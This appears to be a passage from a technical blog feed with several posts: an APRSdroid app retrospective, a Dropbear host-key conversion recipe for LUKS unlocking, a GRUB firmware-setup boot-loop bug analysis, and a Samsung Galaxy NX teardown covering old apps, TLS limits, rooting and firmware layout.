APRSdroid is an Amateur Radio geo-location (APRS) app for Android licensed under the GPL. It started as a Scala learning experience at New Year's eve 2009.

This post is a review of 15 years of the project and related developments in the ham radio world. There is also the two-year recap of the app and the Scala on Android experience that I wrote in 2011.

The evolution of APRSdroid

In 2009, when I started developing the app, the HTC Dream (a.k.a. "T-Mobile G1") was still the go-to Android phone, Android 2.0 ("Eclair") was just released with the Motorola Milestone/Droid featuring the new OS, and Google Play was a one-year old thing called Android Market.

User interface changes

When APRSdroid became ready for public release with version 1.0 (April 2011), its basic user interface consisted of four different views:

• Hub: a list of stations, sorted by distance, with the most important info like calling frequency
• Log: the full log of incoming and outgoing packets as well as internal info
• Map: a map view with stations and their movement
• Station Info: data about a single station and its published objects

While Android has gone through eighteen(!) major releases, two major face-lifts (3.0 Honeycomb added "Holo" UI and tablet support with fragments, 5.0 Lollipop replaced Holo with "Material" design), innumerable changes to the UI widgets and system menus, got rid of QWERTY and then of most other physical buttons, APRSdroid largely remained the same all this time:

Version 1.1 (September 2011) added APRS messaging support, allowing to send text messages to other near-by users. This feature came with a chat window and a conversations window.

Initially, the app was using the original APRS symbols, a set of hand-drawn 16x16 pixel pictures depicting different types of APRS stations. With the increasing display densities, those became impractical, and Heikki Hannikainen OH7LZB created a new, vectorized symbol set. These were included in APRSdroid in version 1.4 (July 2017).

Other than that, minor usability helpers were added over the years, like the support for d-pad and ⏪ ⏩ keys on the map view, to better support the FireTV.

The benefit of the conservative approach is that the app will still support Android 4.0 devices (released in 2011). While nobody should use an Android 4.x as their primary device today, there is still a (vocal) minority of APRS users that want to run the app on an old Chinese tablet or their previous smartphone.

OpenStreetMaps and offline maps

Google Maps was the first (and only, for a long time) map renderer usable in Android apps. Many APRSdroid users wanted to run the app off-grid, requiring support for offline maps. There was no way to implement that with the Google API, so an alternative map rendering library had to be found.

Luckily, back in 2011, the MapsForge library seemingly appeared out of nowhere, providing an offline map renderer and tile-server support. Rendering maps is a huge task, and we take it for granted easily, but significant effort was made to make it possible and to provide it for free.

MapsForge was also used by the c:geo app, providing helpful usage examples.

The first APRSdroid offline map implementation started in 2011 and was maintained as an alternative build that required side-loading the APK and downloading the map file from one of a number of mapsforge build severs. It was also the one used on the Amazon app store, because Amazon devices aren't allowed to use Google Play services (which include the map rendering).

The separate build was only merged with the mainline build in 2019, including a live detection of whether Google Maps is present on the device.

The "classic" mapsforge renderer is a bit outdated, doesn't support hi-dpi screens, making the map labels barely readable, and requires direct File access to the map files, which is prohibited on modern Android releases.

It will be replaced in the near future by the Vector Tile Map (VTM) OpenGL renderer which is more perfomant and more flexible.

Personal X.509 certificates

The American Radio Relay League (ARRL) is operating a Public Key Infrastructure (PKI) for radio amateurs and issues X.509 client certificates after verifying the amateur's license. The certificate contains the following fields:

• CN (Common Name): person name of the amateur
• EMAIL: a veriifed email address
• CALLSIGN (OID.1.3.6.1.4.1.12348.1.1): the amateur radio callsign

This is an excellent way to authenticate amateurs over the Internet, except that browsers have messed up the user interface for certificate authentication so badly that nobody is touching it with a ten-foot pole.

However, the UI issues can be solved more elegantly in an app. Therefore, in 2013, the APRS Tier2 network and APRSdroid implemented experimental SSL client authentication.

The feature works by loading a .p12 certificate file for your callsign into the app, and then it will automatically try to use TLS when connecting.

Given that amateur radio requires clear-text communication, this is one of the very few legitimate use-cases for the NULL cipher in TLS.

Unfortunately, running TLS on the server side also requires an operational PKI, and that was never completed. Eventually, the certificate validation started failing when the respective chains of trust expired.

Radio connection support

The first versions of the app only supported APRS-IS connections over the Internet, not actually sending and receiving packets over a locally connected radio. However, support for more and more radio connections got added over the years.

Audio-cable AFSK

Version 0.8 (October 2010) added AFSK encoding support using jsoundmodem, allowing to connect an audio cable from the phone to a radio with voice activation, and the app would play the 1200 bps signal over the headphones, triggering a radio transmission.

With version 1.2 (February 2012), the app also integrated AFSK decoding by means of the PacketDroid java-native wrapper around multimon. The native code required to summon the Android NKD during the build process, but at the time, the Dalvik runtime on Android provided only minimal JIT optimizations and thus Java code wasn't fast enough to perform the required math on 11'025 samples per second on most smartphone CPUs.

A few months later, I was approached by Sivan Toledo 4X6IZ, a researcher who published "A High-Performance Sound-Card AX.25 Modem", an optimized AFSK demodulator written in Java. Together, we integrated it into APRSdroid, and it became the optional "High-Quality Demodulator" that requred an 800MHz CPU. That speed requirement was obsoleted by the switch to the ART runtime in Android 5. The new demodulator became part of version 1.2.2 (November 2012).

The audio modulation using the phone's soundcard never was expected to be a robust feature, given that:

• the Android audio stack isn't fully real-time (so that minor distortions can corrupt a transmission)
• accidental notification sounds or ringing would be directly transmitted over radio
• a cable also carries a part of the RF signal from the transmitting radio, which can crash the Android phone

However, due to the availability of cheap DIY cables and inexpensive Chinese radios, it ended up as the users' favorite.

Bluetooth TNC

A more robust (and electrically decoupled) mechanism was to use Bluetooth SPP serial port emulation to connect to a TNC. At the time, cheap stand-alone Bluetooth serial adapters were flooding the market, and it was rather easy to use one to give new life to an old TNC, or to link the app to a radio with integrated TNC, like the Kenwood D7x0 series. This support was added in version 1.1 (September 2011).

Having a dedicated TNC and radio was not very practical for mobile use, and prohibitive for portable operation. On the other hand, the Bluetooth controller boards turned out to have enough power to actually run the AFSK modulation and demodulation, and so single-board Bluetooth TNCs started to appear. In 2013, Rob Riggs WX9O went a step further and commercially released the Mobilinkd TNC with an integrated battery, allowing to strap the TNC to a handheld radio.

Kenwood GPS emulation

The quite common Kenwood D7x0 radios came with full APRS support, but did not feature a built-in GPS module. Instead, the GPS had to be connected over a serial port. It was possible to also export APRS station information over this port, a feature meant for some GPS units with a display.

Given that Android phones usually have GPS and a display, version 1.2.3 (August 2013) also introduced a Kenwood GPS mode.

The app would forward the GPS NMEA traffic from the phone's receiver over Bluetooth SPP, and would receive and show the APRS stations decoded by the Kenwood radio.

USB serial support

Android 3.1 introduced USB host support in 2011. However, it was a generic low-level interface that required actually re-writing the low-level protocol drivers in Java. It took until 2014, when Felipe Herranz created the open-source UsbSerial library that implemented this low-level support for different USB serial chipsets.

In 2015, this library was experimentally added to APRSdroid beta builds. The new addition also required a refactoring to decouple the on-the-wire protocol (KISS or TNC2 for TNCs, Kenwood GPS, APRS-IS) from the connection method (USB serial, Bluetooth SPP serial, TCP/IP, UDP). This significantly increased the flexibility of APRSdroid and was officially introduced in version 1.4 (July 2017).

This not only allowed connecting to radios that have a USB port, like the Kenwood TH-D72:

It also allowed to pair APRSdroid with PicoAPRS, the world's smallest integrated APRS transceiver created by Taner Schenker DB1NTO!

Source code activity

The whole project history, starting with the first commit on December 31st, 2009, is public.

There were years with significant activity, as well as calmer ones. In the last two years, the app development has stalled a bit, basically only doing the required chores to keep up with the tightening Google Play requirements:

The two violet spikes in 2022 and 2024 are contributions that haven't been reviewed or merged yet. In 2022, Loren M. Lang K7IW did some major work on CI integration, build system standardization, and UI test cases. This year, Michael A Phelps NA7Q added some interesting features that have been requested by the community, which are currently being prepared for integration.

At the same time, the app's popularity is still growing, despite my early fears that the market for Android-using radio amateurs would be small and get saturated in the first year or two:

Scala and the Android build system

In the early days of Android, Ant was the default build system for apps. Building APRSdroid required a few custom rules to inject the Maps API key into the map view, to run scalac from the project's tools directory, and to do a non-obfuscating ProGuard run to optimize away most of the Scala runtime library that would otherwise exceed the 64K classes limit of Dalvik.

From Ant to Gradle

When Android switched to gradle and Android Studio in 2014, there was no trivial path to integrate Scala into the new build system, so I postponed the transition.

Eventually, in 2017, the benefits of Android Studio for live debugging became too big to ignore, and I re-evaluated the situation and found gradle-android-scala-plugin. That plugin allowed building Scala source code as part of an Android application project. With a few custom path settings in build.gradle it was possible to drop it into an existing project without moving the source files around. However, it insisted on compiling every file in the source directory, including VIM swap files:

> Task :compileDebugScala
Pruning sources from previous analysis, due to incompatible CompileSetup.
IO error while decoding /usr/src/aprsdroid/src/.AprsPacket.scala.swp with UTF-8
Please try specifying another one using the -encoding option
one error found

> Task :compileDebugScala FAILED

FAILURE: Build failed with an exception.

That was annoying, but not a show-stopper. The plugin also became unmaintained in 2016 and was limited to gradle 2.x, which Google obsoleted for Android apps. Luckily, a fork by AllBus was still being worked on and kept supporting gradle up to 5.6 and up to Android 13 (r33).

Unfortunately, the build time grew to ~3 minutes on my laptop (mostly blocked by the single-threaded :transformClassesAndResourcesWithR8ForDebug optimization pass), and half of the builds went subtly wrong and created an APK without class files.

Android 14 Support

It looks like the AllBus fork of gradle-android-scala-plugin has arrived at its final destination as well. The code wasn't updated since 2020, and it won't work with newer gradle versions.

Also, so far all my attempts to understand the Groovy failed miserably, either because I fell over its "flat learning curve" or because I lacked the patience to understand all the required internals of Gradle.

Meanwhile, Google is ruthlessly moving its goal-posts. For one, any new updates published to Google Play must support Android 14 (r34):

In addition, new SDK updates come with a new recursive chain of dependencies on the card house of the build ecosystem. The JDK compatibility level has been raised from 8 over 11 to 17. Trying too old tools yields funny error messages:

• Using an older combination of Gradle (7.x) and the Android Gradle Plugin (4.2.0) says the SDK is corrupted (because the old code can't read new class files?):

  "Installed Build Tools revision 34.0.0 is corrupted. Remove and install again using the SDK Manager."

• Going up to Android plugin 7.0 changes the error to a missing variantConfiguration, which apparently is used by gradle-android-scala-plugin:

  No such property: variantConfiguration for class: com.android.build.gradle.internal.variant.TestVariantData

Wow! The GitHub network graph shows that there is a new fork by NCrashed (from 2023) with Gradle 8.0.x support! It needs to be installed locally to mavenLocal() and we can bump the JDK to 17, Gradle to 8.0.2, the Android plugin to 8.1.0, and then... it still doesn't work!

The value for task ':compileDebugJavaWithJavac' property 'destinationDirectory' is final and cannot be changed any further.

The recommendation for the last error is to downgrade Gradle from 6.3 to 6.0.1! 🤡

It looks like gradle-android-scala-plugin was playing with the Java paths to prevent duplicate compilation, back in 2014?! This needs to be patched out in some non-obvious way before the plugin can do its work.

Regardless of this, there is also the Mill build tool with WIP Android support, but building Scala apps for Android isn't on the agenda yet.

One way or another, this will need some more debugging and fiddling in the very near future, to prevent APRSdroid from vanishing from Google Play.

Outlook

The whole Scala building situation has been a major road-block on finding the motivation and patience to work on the app. The thought of rewriting it from scratch in plain Java or Kotlin appeared more than once, and a realistic assessment of the time required for a re-write and for fixing all the new (and old) bugs buried the idea every time... so far.

There are two often asked-for features that have been on the roadmap for a small eternity already.

Bluetooth LE support

In 2019, I started work on Bluetooth Low Energy support. However, the Android Bluetooth LE stack is a prima donna, and mis-treating it in the slightest way will end up in BLE GATT Error 133.

The fun thing about Error 133 is that you don't know which part you touched in the wrong way. Often it's related to calling the BLE stack from another thread than the main thread, but it's not the only potential cause.

While I was able to roll out a BLE-based payment solution for iOS, Android and Linux back in 2015 (which is material for another story), my karma must have left me, and I wasn't able to complete the BLE functionality over Error 133. The branch remained unpublished, and eventually NA7Q made a new attempt at it, that needs to be reviewed and integrated.

Bluetooth LE will not only preserve the battery on newer integrated TNCs like the TNC3, but will also open the app to LoRa-APRS, a mesh network that can be accessed with $20 modems like the LILYGO LoRa32.

IGate functionality

The second important feature request is IGate support. An IGate is an Internet Gateway for forwarding packets received from the radio to APRS-IS, and vice versa.

While APRSdroid supports both Internet and radio connections, it is currently limited to one connection at a time. Properly supporting multiple parallel connections, plus implementing the correct forwarding rules, will require significant refactoring.

User Interface re-design

The interface is still built around single views, and doesn't have the flexibility required on tablets and TV screens. In addition, it would be great to integrate the live status of all TNC connections, like shown in this old mockup:

Website redesign

Finally, the project website, built with hammer and chisel from HTML elements, is neither mobile-friendly, nor does allow to post news items or other structured information. The way to go is probably to convert it to a Hugo static site, which requires re-formatting all existing content and designing an appropriate theme.

This app has been successful thanks to the many projects that it's based on, the people who contributed to it, and its fantastic users.

The future of APRSdroid is set, the tasks are clear and not insurmountable, and the only thing that can delay them is conflicting real-life obligations.

Running a colo / hosted server with Full Disk Encryption (FDE) requires logging in remotely during initramfs, to unlock LUKS. The usual setup tutorials run Dropbear on a different port, to prevent a host key mismatch between OpenSSH and Dropbear, and the scary MitM warning it implies.

However, it's much cleaner and nicer to share the same host key between Dropbear during boot-up and OpenSSH during regular operation.

This recipe shows how to convert the OpenSSH host keys into the Dropbear key format for Debian's dropbear-initramfs.

Pre-2022 Dropbear

Until dropbear/#136 was fixed in 2022, OpenSSH host keys were not supported, and Ed25519 didn't fully work either.

Regardless of the key type, OpenSSH host keys begin with the following line:

# head -1 /etc/ssh/ssh_host_*_key
==> /etc/ssh/ssh_host_ecdsa_key <==
-----BEGIN OPENSSH PRIVATE KEY-----

==> /etc/ssh/ssh_host_ed25519_key <==
-----BEGIN OPENSSH PRIVATE KEY-----

==> /etc/ssh/ssh_host_rsa_key <==
-----BEGIN OPENSSH PRIVATE KEY-----

You had to convert them to the PEM format, as follows, inplace (DO A BACKUP FIRST!):

ssh-keygen -m PEM -p -f /etc/ssh/ssh_host_ecdsa_key
ssh-keygen -m PEM -p -f /etc/ssh/ssh_host_ed25519_key
ssh-keygen -m PEM -p -f /etc/ssh/ssh_host_rsa_key

The OpenSSH server will happily read PEM format as well, so there should be no problems after that:

# head -1 /etc/ssh/ssh_host_*_key
==> /etc/ssh/ssh_host_ecdsa_key <==
-----BEGIN EC PRIVATE KEY-----

==> /etc/ssh/ssh_host_ed25519_key <==
-----BEGIN OPENSSH PRIVATE KEY-----

==> /etc/ssh/ssh_host_rsa_key <==
-----BEGIN RSA PRIVATE KEY-----

Convert OpenSSH keys for Dropbear

The dropbear-initramfs package depends on dropbear-bin which comes with the dropbearconvert tool that we need to convert from "openssh" to "dropbear" key format. Old versions had it in /usr/lib/dropbear/dropbearconvert but newer one have it in /bin/ - you might have to update the path accordingly:

dropbearconvert openssh dropbear /etc/ssh/ssh_host_ecdsa_key /etc/dropbear-initramfs/dropbear_ecdsa_host_key
dropbearconvert openssh dropbear /etc/ssh/ssh_host_ed25519_key /etc/dropbear-initramfs/dropbear_ed25519_host_key
dropbearconvert openssh dropbear /etc/ssh/ssh_host_rsa_key /etc/dropbear-initramfs/dropbear_rsa_host_key

That's it. Run update-initramfs (/usr/share/initramfs-tools/hooks/dropbear will collect the new host keys into the initramfs) and test after the reboot.

Exactly one year ago, after updating a bunch of Debian packages, my laptop stopped booting Linux. Instead, it briefly showed the GRUB banner, then rebooted into the BIOS setup. On every startup. Reproducibly. Last Friday 13th, I was bitten by this bug again, on a machine running Kali Linux, and had to spend an extra hour at work to fix it.

TL;DR: the GRUB config got extended with a call to fwsetup --is-supported. Older GRUB binaries don't know the parameter and will just reboot into the BIOS setup instead. Oops!

The analysis

Of course, I didn't know the root cause yet, and it took me two hours to isolate the problem and some more time to identify the root cause. This post documents the steps of the systematic analyis approach f*cking around and finding out phase, in the hope that it might help future you and me.

Booting my Debian via UEFI or from the SSD's "legacy" boot sector reproducibly crashed into BIOS setup. Upgrading the BIOS didn't improve the situation.

Starting the Debian 12 recovery worked, however. Manually typing the linux /boot/vmlinux-something root=UUID=long-hex-number and initrd /boot/initrd-same-something and boot commands from the Debian 12 GRUB also brought me back into "my" Linux.

Running update-grub and grub-install from there, in order to fix my GRUB, had no positive effect.

The installed GRUB wasn't displaying anything, so I used the recovery to disable gfx mode in GRUB. It still crashed, but there was a brief flash of some text output. Reading it required a camera, as it disappeared after half a second:

   bli.mod not found

A relevant error or a red herring? Googling it didn't yield anything back in 2023, but it was indeed another symptom of the same issue.

Another, probably much more significant finding was that merely loading my installation's grub.cfg from the Debian 12 installer's GRUB also crashed into the BIOS. So there was something wrong with the GRUB config after all.

Countless config changes and reboots later, the problem was bisected to the rather new "UEFI Firmware Settings" menu item. In retrospect, it's quite obvious that the enter setup menu will enter setup, except that... I wasn't selecting it.

But the config file ran fwsetup --is-supported in order to check whether to even display the new menu item. Quite sensible, isn't it?

Manually running fwsetup --is-supported from my installed GRUB or from the Debian installer... crashed into the BIOS setup! The obvious conclusion was that the new feature somehow had a bug or triggered a bug in the laptop's UEFI firmware.

But given that I was pretty late to the GRUB update, and I was running on a quite common Lenovo device, there should have been hundreds of users complaining about their Debian falling apart. And there were none. So it was something unique to my setup after all?

The code change

The "UEFI Firmware Settings" menu used to be unconditional on EFI systems. But then, somebody complained, and a small pre-check was added to grub_cmd_fwsetup() in the efifwsetup module in 2022:

if (argc >= 1 && grub_strcmp(args[0], "--is-supported") == 0)
    return !efifwsetup_is_supported ();

If the argument is passed, the module will check for support and return 0 or 1. If it's not passed, the code will fall through to resetting the system into BIOS setup.

No further argument checks exist in the module.

Before this addition, there were no checks for module arguments. None at all. Calling the pervious version of the module with --is-supported wouldn't check for support. It wouldn't abort with an unsupported argument error. It would do what the fwsetup call would do without arguments. It would reboot into the BIOS setup. This is where I opened Debian bug #1058818, deleted the whole /etc/grub.d/30_uefi-firmware file and moved on.

The root cause

The Debian 12 installer quite obviously had the old version of the module. My laptop, for some weird (specific to me) reason, also had the old module.

The relevant file, /boot/grub/x86_64-efi/efifwsetup.mod is not part of any Debian package, but there exists another copy that's normally distributed as part of the grub-efi-amd64-bin package, and gets installed to /boot/grub/ by grub-install:

   grub-efi-amd64-bin: /usr/lib/grub/x86_64-efi/efifwsetup.mod

My laptop had the file, but didn't have this package installed. This was caused by installing Debian, then restoring a full backup from the old laptop, which didn't use EFI yet, over the root filesystem.

The old system had the grub-pc package which satisfies the dependencies but only had the files to install GRUB into the [MBR] (https://en.wikipedia.org/wiki/Master_boot_record).

grub-install correctly identified the system as EFI, and copied the stale(!) modules from /usr/lib/grub/x86_64-efi/ to /boot/grub/. This had been working for two years, until Debian integrated the breaking change into the config and into the not installed grub-efi-amd64-bin package, and I upgraded GRUB2 from 2.04-1 to 2.12~rc1-12.

Simply installing grub-efi-amd64-bin properly resolved the issue for me, until one year later.

The Kali machine

Last Friday (Friday the 13th), I was preparing a headless pentest box for a weekend run on a slow network, and it refused to boot up. After attaching a HDMI-to-USB grabber I was greeted with this unwelcoming screen:

Manually loading the grub.cfg restarted the box into UEFI setup. Now this is something I know from last year! Let's kickstart recovery and check the GRUB2 install:

┌──(root㉿pentest-mobil)-[~]
└─# dpkg -l | grep grub
ii  grub-common               2.12-5+kali1   amd64   GRand Unified Bootloader (common files)
ii  grub-efi                  2.12-5+kali1   amd64   GRand Unified Bootloader, version 2 (dummy package)
ii  grub-efi-amd64            2.12-5+kali1   amd64   GRand Unified Bootloader, version 2 (EFI-AMD64 version)
ii  grub-efi-amd64-bin        2.12-5+kali1   amd64   GRand Unified Bootloader, version 2 (EFI-AMD64 modules)
ii  grub-efi-amd64-unsigned   2.12-5+kali1   amd64   GRand Unified Bootloader, version 2 (EFI-AMD64 images)
ii  grub2-common              2.12-5+kali1   amd64   GRand Unified Bootloader (common files for version 2)

┌──(root㉿pentest-mobil)-[~]
└─# grub-install
Installing for x86_64-efi platform.
Installation finished. No error reported.

┌──(root㉿pentest-mobil)-[~]
└─# 

That looks like it should be working. Why isn't it?

┌──(root㉿pentest-mobil)-[~]
└─# ls -al /boot/efi/EFI 
total 16
drwx------ 4 root root 4096 Dec 13 17:11 .
drwx------ 3 root root 4096 Jan  1  1970 ..
drwx------ 2 root root 4096 Sep 12  2023 debian
drwx------ 2 root root 4096 Nov  4 12:53 kali

Oh no! This also used to be a Debian box before, but the rootfs got properly formatted when moving to Kali. The whole rootfs? Yes! But the EFI files are on a separate partition!

Apparently, the UEFI firmware is still starting the grubx64.efi file from Debian, which comes with a grub.cfg that will bootstrap the config from /boot/ and that... will run fwsetup --is-supported. BOOM!

Renaming the debian folder into something that comes after kali in the alphabet finally allowed me to call it a day.

The conclusion

When adding a feature that is spread over multiple places, it is very important to consider the potential side-effects. Not only of what the new feature adds, but also what a partial change can cause. This is especially true for complex software like GRUB2, that comes with different targeted installation pathways and is spread over a bunch of packages.

Comments on HN

Comments on Mastodon

In 2013, Samsung released the Galaxy NX (EK-GN100, EK-GN120, internal name "Galaxy U"), half Android smartphone, half interchangeable lens camera with a 20.3MP APS-C sensor, as part of the NX lineup that I analyzed last year.

A decade later, the Galaxy NX is an expensive rarity on the used market. Luckily, I was able to obtain one of these Android+Linux-SoC hybrids, and will find out what makes it tick in this post.

Hardware Overview

The Android part can probably be called a "phablet" by 2013's standards, given its 4.8" screen and lack of a speaker / microphone. It's powered by the 1.6GHz quad-core Exynos 4412 SoC, featuring LTE connectivity and dual-band WiFi. Back then, there was no VoLTE, so the lack of audio is understandable, and anyway it might look a bit weird to hold a rather large mirrorless camera with an even larger lens to your head.

Due to the large touchscreen, there is not much space for physical camera controls. Just the mode dial, shutter and video recording buttons. Most NX lenses have an additional i-Fn button to cycle through manual camera settings.

From the outside, it's not clear how the Android SoC and the DRIMeIV camera SoC interact with each other. They seem to live in an open relationship, anyway: from time to time, the camera SoC will crash, only showing a black live view, and the Android will eventually find that out and try to restart it (without much success):

Shutting down the camera, removing the battery and restarting everything will calm the evil ghosts... for a while.

Of the 2GB of physical RAM, Android can see 1.5GB, probably meaning that the remaining 512MB are assigned to the DRIMeIV SoC, matching the NX300. We'll do the flash and firmware analysis further below.

Android 4.2 is dead

The latest (and only) Android firmware released by Samsung is Android 4.2.2 Jelly Bean from 2012. There are no official or unofficial ports of later Android releases. The UI is snappy, but the decade of age shows, despite Samsung's customizing.

The dated Android is especially painful due to three issues: lack of apps, outdated encryption, and outdated root certificates:

Issue 1: No apps compatible with Android 4.2

Keeping an app backward-compatible is work. Much work. Especially with Google moving the goalposts every year. Therefore, most developers abandon old Android versions whenever adding a new feature in a backward-compatible fashion would be non-trivial.

Therefore, we need to scrape decade-old APK files from the shady corners of the Internet.

Free & Open Source apps

Google Play is of no help here, but luckily the F-Droid community cares about old devices. Less luckily, the old version of F-Droid will OOM-crash under the weight of the archive repository, so packages have to be hunted down and installed manually with adb after enabling developer settings.

I had to look up the package name for each app I was interested in, then manually search for the latest compatible MinVer: 4. build in the view-source of the respective archive browser page:

• F-Droid: org.fdroid.fdroid, 1.12.1 (2021-04-16) APK (8MB)
• Firefox: org.mozilla.fennec_fdroid, 68.12.0 (2020-08-29) APK (53MB)
• Mastodon: org.joinmastodon.android, first version on F-Droid already requires Android 6. Bummer.
• Fedilab (Mastodon client): fr.gouv.etalab.mastodon, 2.2.0 (2019-06-03) APK (17MB)
• Tusky (Mastodon client): com.keylesspalace.tusky, 1.4.1 (2017-12-07) APK (3MB)
• yaxim: oh look, the newest release still works on 4.x! APK (3MB)

In the end, the official Mastodon client wasn't available, and the other ones were so old and buggy (and/or suffered from issues 2 and 3 below) that I went back to using the mastodon web interface from Firefox.

Proprietary Apps

As everywhere on the Internet, there is a large number of shady, malware-pushing, SEO-optimized, easy to fall for websites that offer APK files scraped from Google Play. Most of them will try to push their own "installer" app to you, or even disguise their installer as the app you try to get.

Again, knowing the internal package name helps finding the right page. Searching multiple portals might help you get the latest APK that still supports your device.

• apkmonk - scroll down to "All Versions", clicking on an individual version will start the APK download (no way to know the required Android release without trial and error).
• APKPure - don't click on "Use APKPure App", don't install the browser extension. Click on "Old versions of ..." or on "All Versions". Clicking an individual version in the table will show the required Android release.
• APKMirror - has a listing of old versions ("See more uploads..."), but only shows the actual Android release compatibility on the respective app version's page.

Issue 1b: limited RAW editing

TL;DR: Snapseed fails, but Lightroom works with some quirks on the Galaxy NX. Long version:

The Galaxy NX is a camera first, and a smartphone phablet second. It has very decent interchangeable lenses, a 20MP sensor, and can record RAW photos in Samsung's SRW format.

Snapseed: error messages galore

Given that it's also an Android device, the free Snapseed tool is the most obvious choice to process the RAW images. It supports the industry standard Adobe patented openly-documented "digital negative" DNG format.

To convert from RAW to DNG, there is a convenient tool named raw2dng that supports quite a bunch of formats, including SRW. The latest version running on Android 4.2 is raw2dng 2.4.2.

The app's UI is a bit cumbersome, but it will successfully convert SRW to DNG on the Galaxy NX! Unfortunately, it will not add them to the Android media index, so we also need to run SD Scanner after each conversion.

Yay! We have completed step 1 out of 3! Now, we only need to open the newly-converted DNG in Snapseed.

The latest Snapseed version still running on Android 4.2 is Snapseed 2.17.0.

That version won't register as a file handler for DNG files, and you can't choose them from the "Open..." dialog in Snapseed, but you can "Send to..." a DNG from your file manager:

Okay, so you can't. Well, but the "Open..." dialog shows each image twice, the JPG and the SRW, so we probably can open the latter and do our RAW editing anyway:

Bummer. Apparently, this feature relies on DNG support that was only added in Android 5. But the error message means that it was deliberately blocked, so let's downgrade Snapseed... The error was added in 2.3; versions 2.1 and 2.0 opened the SRW but treated it like a JPG (no raw development, probably an implicit conversion implemented by Samsung's firmware; you can also use raw images with other apps, and then they run out of memory and crash). Snapseed 2.0 finally doesn't have this error message... but instead another one:

So we can't process our raw photos with Snapseed on Android 4.2. What a pity.

Lightroom: one picture a time

Luckily, there is a commercial alternative: Adobe Lightroom. The last version for our old Android is Lightroom 3.5.2.

As part of the overall enshittification, it will ask you all the time to login / register with your Adobe account, and will refuse editing SRW pictures (because they "were not created on the device"). However, it will actually accept (and process!) DNG files converted with raw2dng and indexed with SD Scanner, and will allow basic development including full resolution JPEG exports.

However, you may only ever "import" a single DNG file at a time (it takes roughly 3-4 seconds). If you try to import multiple files, Lightroom will hang forever:

It will also remember the pending imports on next app start, and immediately hang up again. The only way out is from Android Settings ➡ Applications ➡ Lightroom ➡ Clear data; then import each image individually into Lightroom.

Issue 2: No TLS 1.3, deactivated TLS 1.2

In 2018, TLS 1.3 happened, and pushed many sites and their API endpoints to remove TLS 1.0 and 1.1.

However, Android's SSLSocket poses a problem here. Support for TLS 1.1 and 1.2 was introduced in Android 4.1, but only enabled by default in Android 5. Apps that didn't explicitly enable it on older devices are stuck on TLS 1.0, and are out of luck when accessing securely-configured modern API endpoints. Given that most apps abandoned Android 4.x compatibility before TLS 1.2 became omnipresent, the old APKs we can use won't work with today's Internet.

There is another aspect to TLS 1.2, and that's the introduction of elliptic-curve certificates (ECDSA ciphers). Sites that switch from RSA to DSA certificates will not work if TLS 1.2 isn't explicitly enabled in the app. Now, hypothetically, you can decompile the APK, patch in TLS 1.2 support, and reassemble a self-signed app, but that would be real work.

Note: TLS 1.3 was only added (and activated) in Android 10, so we are completely out of luck with any services requiring that.

Of course, the TLS compatibility is only an issue for apps that use Android's native network stack, which is 99.99% of all apps. Firefox is one of the few exceptions as it comes with its own SSL/TLS implementation and actually supports TLS 1.0 to 1.3 on Android 4!

Issue 3: Let's Encrypt Root CA

Now even if the service you want to talk to still supports TLS 1.0 (or the respective app from back when Android 4.x was still en vogue activated TLS 1.2), there is another problem. Most websites are using the free Let's Encrypt certificates, especially for API endpoints. Luckily, Let's Encrypt identified and solved the Android compatibility problem in 2020!

All that a website operator (each website operator) needs to do is to ensure that they add the DST Root CA X3 signed ISRG Root X1 certificate in addition to the Let's Encrypt R3 certificate to their server's certificate chain! 🤯

Otherwise, their server will not be trusted by old Android:

Such a dialog will only be shown by apps which allow the user to override an "untrusted" Root CA (e.g. using the MemorizingTrustManager). Other apps will just abort with obscure error messages, saying that the server is not reachable and please-check-your-internet-connection.

Alternatively, it's possible to patch the respective app (real work!), or to add the LE Root CA to the user's certificate store. The last approach requires setting an Android-wide password or unlock pattern, because, you know, security!

The lock screen requirement can be worked around on a rooted device by adding the certificate to the /system partition, using apps like the Root Certificate Manager(ROOT) (it requires root permissions to install Root Certificatfes to the root filesystem!), or following an easy 12-step adb-shell-bouncycastle-keytool tutorial.

Getting Root

There is a handful of Android 4.x rooting apps that use one of the many well-documented exploits to obtain temporary permissions, or to install some old version of SuperSU. All of them fail due to the aforementioned TLS issues.

In the end, the only one that worked was the Galaxy NX (EK-GN120) Root from XDA-Dev, which needs to be installed through Samsung's ODIN, and will place a su binary and the SuperSU app on the root filesystem.

Now, ODIN is not only illegal to distribute, but also still causes PTSD flashbacks years after the last time I used it. Luckily, Heimdall is a FOSS replacement that is easy and robust, and all we need to do is to extract the tar file and run:

heimdall flash --BOOT boot.img

On the next start, su and SuperSu will be added to the /system partition.

Firmware structure

This is a slightly more detailed recap of the earlier Galaxy NX firmware analysis.

Android firmware

The EK-GN120 firmware is a Matryoshka doll of containers. It is provided as a ZIP that contains a .tar.md5 file (and a DLL?! Maybe for Odin?):

Archive:  EK-GN120_DBT_1_20140606095330_hny2nlwefj.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
1756416082  Defl:N 1144688906  35% 2014-06-06 09:53 4efae9c7  GN120XXUAND3_GN120DBTANE1_GN120XXUAND3_HOME.tar.md5
 1675776  Defl:N   797975  52% 2014-06-06 09:58 34b56b1d  SS_DL.dll
--------          -------  ---                            -------
1758091858         1145486881  35%                            2 files

The .tar.md5 is an actual tar archive with an appended MD5 checksum. They didn't even bother with a newline:

$ tail -1 GN120XXUAND3_GN120DBTANE1_GN120XXUAND3_HOME.tar.md5
[snip garbage]056c3570e489a8a5c84d6d59da3c5dee  GN120XXUAND3_GN120DBTANE1_GN120XXUAND3_HOME.tar

The tar itself contains a bunch more containers:

-rwxr-xr-x dpi/dpi    79211348 2014-04-16 13:46 camera.bin
-rw-r--r-- dpi/dpi     5507328 2014-04-16 13:49 boot.img
-rw-r--r-- dpi/dpi     6942976 2014-04-16 13:49 recovery.img
-rw-r--r-- dpi/dpi  1564016712 2014-04-16 13:48 system.img
-rwxr-xr-x dpi/dpi    52370176 2014-04-16 13:46 modem.bin
-rw-r--r-- dpi/dpi    40648912 2014-05-20 21:27 cache.img
-rw-r--r-- dpi/dpi     7704808 2014-05-20 21:27 hidden.img

These img and bin files contain different parts of the firmware and are flashed into respective partitions of the phone/camera:

• camera.bin: SLP container with five partitions for the DRIMeIV Tizen Linux SoC
• boot.img: (Android) Linux kernel and initramfs
• recovery.img: Android recovery kernel and initrams
• system.img: Android (sparse) root filesystem image
• modem.bin: a 50 MByte FAT16 image... with Qualcomm modem files
• cache.img: Android cache partition image
• hidden.img: Android hidden partition image (contains a few watermark pictures and Over_the_horizon.mp3 in a folder INTERNAL_SDCARD)

DRIMeIV firmware

